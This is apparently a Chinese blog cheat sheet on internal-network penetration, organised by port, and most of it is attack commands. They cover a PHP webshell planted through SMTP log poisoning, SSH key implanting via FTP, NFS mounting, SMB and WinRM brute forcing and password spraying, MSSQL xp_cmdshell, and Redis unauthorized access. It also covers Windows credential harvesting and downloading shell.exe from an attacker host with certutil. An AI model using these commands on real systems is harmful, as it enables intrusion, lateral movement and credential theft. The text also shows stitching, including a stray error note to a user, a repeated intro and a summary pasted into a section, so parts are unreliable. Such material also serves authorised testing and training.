文章

内网渗透常见端口利用策略大全

本文汇总内网渗透测试中高频开放端口、对应运行服务、核心漏洞风险及完整实操利用方法,整合端口探测、服务枚举、漏洞利用、权限提升、文件操作、远程登录等全流程命令,适用于内网横向移动、资产渗透、权限获取等场景,所有命令均适配Linux和Win渗透攻击机环境。

内网渗透常见端口利用策略大全

内网渗透常见端口利用策略大全

本文汇总内网渗透测试中高频开放端口、对应运行服务、核心漏洞风险及完整实操利用方法,整合端口探测、服务枚举、漏洞利用、权限提升、文件操作、远程登录等全流程命令,适用于内网横向移动、资产渗透、权限获取等场景,所有命令均适配Linux和Win渗透攻击机环境。

前置:内网端口扫描工具与核心扫描命令

常用扫描工具:内网资产端口探测主流工具包含 fscan、Yakit、nmap、无影,适配不同渗透场景,其中Nmap为通用性最强、功能最全面的命令行扫描工具,可实现全端口探测、服务版本识别、漏洞扫描、脚本检测等功能。

1. Nmap 全维度综合全面扫描(全端、全洞、全版本)

适用场景:全方位探测目标主机所有开放端口、服务版本、系统信息、默认漏洞、拓扑信息,内网资产完整摸底。

1
2
3
4
# -A:全面扫描(系统探测+服务版本+脚本扫描+路由追踪)
# -T4:加速扫描,兼顾速度与准确性
# -p-:扫描全部65535端口
nmap -A -T4 -p- 192.168.79.166

2. Nmap 定向端口漏洞扫描(配合searchsploit漏洞查询)

适用场景:已知目标开放端口,针对性扫描端口对应服务漏洞,扫描完成后可直接对扫描出的服务版本使用searchsploit 服务版本 检索对应漏洞EXP。

1
2
3
4
5
6
# --script=vuln:调用Nmap漏洞扫描脚本,检测端口对应服务高危漏洞
# -p:指定需要扫描的目标端口
nmap --script=vuln -p80,111,777,38389 192.168.79.146

# 扫描后配套使用:根据服务版本检索漏洞
searchsploit 服务名/版本号

3. Nmap UDP端口扫描(重点探测TFTP等UDP服务)

适用场景:常规TCP扫描无法探测UDP端口,内网TFTP、DNS等UDP服务需单独扫描,此命令扫描TOP100高频UDP端口,覆盖绝大多数内网常用UDP服务。

1
2
3
# -sU:开启UDP端口扫描
# --top-ports 100:扫描全网TOP100高频UDP端口
nmap -sU --top-ports 100 192.168.79.160

80/443端口 - HTTP/HTTPS Web服务

服务说明:80端口为HTTP明文网页服务,443端口为HTTPS加密网页服务,是内网最常见的Web应用入口,常存在文件包含、SQL注入、上传漏洞、后台弱口令等风险,可结合其他服务日志漏洞联动利用。

联动利用场景:常配合25端口SMTP邮件日志文件包含漏洞执行命令

21端口 - FTP文件传输服务

服务说明:FTP是文件传输协议,默认21端口,常用于服务器文件上传下载。若配置不当允许匿名登录、可写目录权限,可上传SSH公钥实现无密码远程登录,持久化控制服务器。

1. 基础FTP操作命令

1
2
3
4
5
6
7
8
9
10
# 连接FTP服务器
ftp 目标IP
# 查看目录文件
ls
# 切换工作目录
cd 目录名
# 下载远程文件到本地
get 远程文件名
# 上传本地文件到远程服务器
put 本地文件路径 远程保存路径

2. FTP上传公钥实现SSH无密码登录(核心利用)

适用场景:目标服务器SSH禁止密码登录,但FTP权限开放,可通过上传公钥写入授权文件,实现免密SSH连接

1
2
3
4
5
6
7
8
9
# 1. 攻击机生成RSA密钥(默认路径即可,无需修改)
ssh-keygen -t rsa

# 2. 连接目标FTP服务,执行以下操作
ftp 目标IP
# 创建用户ssh配置目录
mkdir ~/.ssh
# 上传本地公钥到目标服务器,写入SSH授权文件(实现免密登录)
put /root/.ssh/id_rsa.pub ~/.ssh/authorized_keys

25端口 - SMTP邮件服务

服务说明:SMTP邮件发送服务,默认25端口,内网服务器普遍开启。若邮件日志文件可被文件包含漏洞读取,可通过构造恶意邮件写入PHP一句话木马,实现任意命令执行。

1. 邮件日志路径

默认日志存储路径:/var/log/mail

2. 恶意邮件构造(写入木马)

1
2
3
4
5
6
7
8
9
10
11
12
# 连接SMTP服务,手动构造恶意邮件
nc 目标IP 25
# 标识客户端身份
HELO ROOT
# 构造带PHP命令执行木马的发件人
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>"
# 指定邮件收件人
RCPT TO:ROOT
# 开始编辑邮件内容
data
# 空内容,单独输入.结束邮件编辑
.

3. 文件包含漏洞联动执行命令

通过Web文件包含漏洞加载邮件日志,触发木马执行系统命令,回显内容通常在网页源代码中

漏洞链接格式:?file=/var/log/mail&cmd=ls

53端口 - DNS域名解析服务

服务说明:DNS域名解析服务,默认53端口。内网DNS服务器常存储隐藏域名、子域名信息,无法直接通过公网访问,可通过修改本地hosts、DNS枚举挖掘内网隐藏资产。

1. 绑定内网域名解析(本地hosts修改)

1
2
3
4
5
# Linux系统绑定域名与IP映射
echo '10.129.2.190 pterodactyl.htb' >> /etc/hosts

# Windows系统hosts文件路径
C:\Windows\System32\drivers\etc\hosts

2. DNS信息枚举挖掘

1
2
# 向指定DNS服务器查询域名所有记录(A记录、CNAME、MX等)
dig any 目标域名 @DNS服务器IP

110端口 - POP3邮件接收服务

服务说明:POP3邮件接收协议,默认110端口,用于读取服务器收件箱邮件。若存在弱口令/默认账号,可登录读取邮件内容,获取内网账号、密码、配置信息等敏感数据。

POP3手动连接与读取邮件

1
2
3
4
5
6
7
8
9
10
# 连接目标POP3服务
nc 目标IP 110
# 提交用户名、密码(常见默认账号密码:root/root)
user root
pass root
# 查看收件箱邮件列表
list
# 读取指定编号邮件内容
retr 1
retr 2

111/2049端口 - RPCBind+NFS文件共享服务

服务说明:111端口为RPCBind远程过程调用绑定服务,2049端口为NFS网络文件系统服务。NFS若未做权限限制,对外开放根目录或敏感目录,可被远程挂载,直接读取/写入服务器任意文件。

1. 枚举RPC与NFS共享资源

1
2
3
4
5
# 查询目标主机所有RPC注册服务
rpcinfo -p 目标IP

# 查询目标NFS对外共享的目录权限
showmount -e 目标IP

2. 远程挂载NFS共享目录(核心利用)

1
2
3
4
# 创建本地挂载目录
mkdir /root/data
# 将目标NFS根目录挂载到本地,实现文件完全控制
mount -t nfs 目标IP:/ /root/data

135端口 - RPC远程管理服务

服务说明:Windows默认RPC远程过程调用服务,135端口开放,用于远程管理、进程调用。存在空用户登录、信息枚举漏洞,可匿名获取系统服务、用户、进程等敏感信息。

RPC匿名枚举操作

1
2
3
4
# 空用户连接目标RPC服务
rpcclient -U "" 目标IP
# 枚举目标系统服务信息
srvinfo

139/443/445端口 - SMB文件共享服务

服务说明:139、445端口为Windows SMB共享服务,用于局域网文件、打印机共享,是内网渗透核心突破口。SMB1.0版本存在大量高危漏洞,同时常存在匿名访问、弱口令、共享目录泄露问题,可实现信息枚举、文件读取、密码爆破、远程执行。

1. SMB全量信息枚举(enum4linux)

1
2
3
4
5
6
7
8
9
# 匿名枚举目标SMB所有信息
enum4linux 目标IP

# 带账号密码枚举SMB服务
enum4linux -a -u 用户名 -p 密码 目标IP

# 新版enum4linux-ng 全维度扫描
enum4linux-ng -A 目标IP
enum4linux-ng -A 目标IP -u 用户名 -p 密码

2. SMB共享目录查看与登录

1
2
3
4
5
6
7
8
# 匿名查看目标所有共享目录
smbclient -L 目标IP -U " " -N

# 指定账号登录SMB共享
smbclient -L 目标IP -U '用户名'

# 进入指定共享目录,匿名访问
smbclient //目标IP/共享目录名 -N

3. SMB密码爆破与用户枚举

1
2
3
4
5
6
7
8
# 提取目标所有系统用户,保存为字典文件
enum4linux 目标IP | grep "user:\[" | awk -F'\[' '{print $2}' | awk -F']' '{print $1}' > users.txt

# Hydra批量爆破SSH/SMB账号密码
hydra -L users.txt -P 密码字典路径 目标IP 服务名

# CME批量爆破SMB管理员账号密码
crackmapexec smb 目标IP -u administrator -p 密码字典路径

4. MSF SMB提权与远程执行

1
2
# MSF加载SMB远程执行漏洞模块
use exploit/windows/smb/psexec

1433端口 - MSSQL数据库服务

服务说明:SqlServer数据库默认端口1433,内网企业服务器高频开放。常存在弱口令、权限伪造、存储过程未禁用等问题,可实现数据库查询、凭证伪造、系统命令执行、获取服务器权限。

1. 数据库远程连接

1
2
# impacket工具连接MSSQL数据库
impacket-mssqlclient 用户名:密码@目标IP

2. 权限伪造(凭证劫持)

1
2
3
4
5
# 查询当前账号可伪造的登录用户权限
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

# 伪造指定高权限账号登录
EXECUTE as LOGIN = '目标账号';

3. 数据库基础查询操作

1
2
3
4
5
6
# 切换指定数据库
USE 数据库名;
# 查询当前库所有数据表
SELECT table_name FROM information_schema.tables;
# 查询用户表所有数据(核心敏感数据)
SELECT * FROM users;

4. 内网批量枚举与命令执行

1
2
3
4
5
6
7
8
9
10
11
12
# NXC工具枚举MSSQL系统用户、SID信息
nxc mssql 目标IP -u 用户名 -p 密码 --local-auth --rid-brute

# 开启xp_cmdshell存储过程(命令执行核心)
enable_xp_cmdshell;
reconfigure

# MSF加载MSSQL漏洞模块
use exploit/windows/mssql/mssql_payload
use auxiliary/admin/mssql/mssql_exec
# 设置域环境
set DOMAIN 域名

5985端口 - WinRM远程管理服务

服务说明:Windows远程管理服务,默认5985端口,用于远程命令执行、服务器管理。内网常存在密码复用、弱口令问题,可通过密码喷射批量探测,实现远程登录、文件上传、桌面信息读取。

1. 批量密码喷射(弱口令爆破)

1
2
# 读取用户字典,批量密码喷射扫描
nxc winrm 目标IP -u @user.txt -p 通用密码 --continue-on-success

2. Evil-WinRM远程连接与操作

1
2
3
4
5
6
7
8
9
10
# 远程登录WinRM服务
evil-winrm -i 目标IP -u '用户名' -p '密码'

# 上传本地木马/工具到目标服务器
upload 本地文件.exe

# 查看目标用户桌面文件
ls C:\Users\用户名\Desktop\
# 读取桌面敏感文件内容
type C:\Users\用户名\Desktop\user.txt

6379端口 - Redis缓存服务

服务说明:Redis数据库默认6379端口,缓存服务高频使用。若未配置密码认证,存在未授权访问漏洞,可直接连接读取缓存数据、密钥、Flag、内网配置信息。

Redis未授权访问利用

1
2
3
4
5
6
7
8
9
10
11
# 无密码连接远程Redis服务
redis-cli -h 目标IP -p 6379

# 查看服务器系统信息
info
# 切换指定数据库(默认0库)
select 0
# 列出当前库所有缓存键值
keys *
# 读取指定键的内容(如Flag、密钥)
get flag

渗透总结

1. 内网渗透优先探测21、25、53、110、111、445、1433、5985、6379高频端口,此类端口漏洞利用门槛低、成功率高;

2. 重点关注SMB、NFS、Redis、WinRM服务,是内网横向移动、权限获取的核心突破口;

3. 弱口令、未授权访问、配置不当是内网服务器最主要的风险点,优先爆破匿名权限、默认账号密码;

4. 可通过日志文件包含、公钥上传、权限伪造等方式实现持久化控制与权限提升。

Windows 内网本地提权 \& 信息挖掘全流程

本章覆盖 Windows 主机信息收集、凭证抓取、特权滥用、配置错误提权、计划任务、防火墙绕过、RDP持久化、DLL/镜像劫持、票据伪造全套内网渗透手法,适配工作组/域环境,包含工具地址、检测命令、利用命令、落地操作。

一、Windows 自动化信息收集(提权前置)

核心工具(附开源地址)

  • winPEAS:Windows全自动提权信息枚举工具 Github:https://github.com/carlospolop/PEASS-ng

  • PowerUp.ps1:PowerShell系统漏洞、权限、配置缺陷检测工具 Github:https://github.com/PowerShellMafia/PowerSploit

1
2
3
4
5
6
# 1. winPEAS 全自动扫描(检测所有可提权点、服务、注册表、补丁、权限)
.\winPEASx64.exe

# 2. PowerUp 自动化缺陷检测
.\PowerUp.ps1
Invoke-AllChecks

二、手动精准信息收集

1. 特权权限查询(核心提权依据)

1
2
# 查看当前用户所有特权,重点关注 Potato 提权所需权限
whoami /priv

2. 系统补丁缺失查询(查找未打补丁提权漏洞)

1
2
# 罗列系统补丁、系统版本,用于比对CVE提权漏洞
systeminfo

3. 杀软/防火墙进程探测

1
2
# 查看所有运行进程及对应服务,定位杀毒软件、防护进程
tasklist /SVC

4. 域环境探测(判断工作组/域机)

1
2
# 读取系统版本注册表,判断是否加入域
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion'

5. 在线用户探测(优先劫持域用户进程)

1
2
3
# 查看当前在线登录用户,优先寻找域管理员
query user
qwinsta

6. 靶机文件上传(渗透必备)

报错说明:你提供的 http://192.168.0.147:8000/shell.exe 访问异常,URL路径失效/服务未开启,需确认本地python临时服务正常启动、IP端口对应无误。

1
2
3
4
5
# certutil 无依赖上传文件(Windows通用)
certutil -urlcache -split -f http://你的攻击机IP:端口/shell.exe c:\shell.exe

# 攻击机开启临时文件服务
python3 -m http.server 8000

三、本机各类明文凭证抓取(高频高危)

1. PowerShell 历史命令(超高概率泄露账号密码)

1
2
3
4
5
6
7
8
9
10
# 查看当前用户PS命令历史文件路径
gc (Get-PSReadLineOption).HistorySavePath

# 指定用户历史记录查看
type c:\users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# 批量遍历本机所有用户PowerShell历史记录
foreach($user in ((ls C:\users).fullname)){    
cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue
}

2. 注册表自动登录密码(开机留存明文账号)

1
2
# 查询系统开机自动登录账号密码
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

3. 系统凭据缓存(远程连接、共享、RDP凭据)

1
2
3
4
5
# 查看系统保存的所有缓存凭据
cmdkey /list

# 打开系统凭据管理器可视化界面
control keymgr.dll

4. Web站点配置文件(数据库账号密码)

1. 内网渗透优先探测21、25、53、110、111、445、1433、5985、6379高频端口,此类端口漏洞利用门槛低、成功率高;

2. 重点关注SMB、NFS、Redis、WinRM服务,是内网横向移动、权限获取的核心突破口;

3. 弱口令、未授权访问、配置不当是内网服务器最主要的风险点,优先爆破匿名权限、默认账号密码;

4. 可通过日志文件包含、公钥上传、权限伪造等方式实现持久化控制与权限提升。

(注:部分内容可能由 AI 生成)

本文由作者按照 CC BY 4.0 进行授权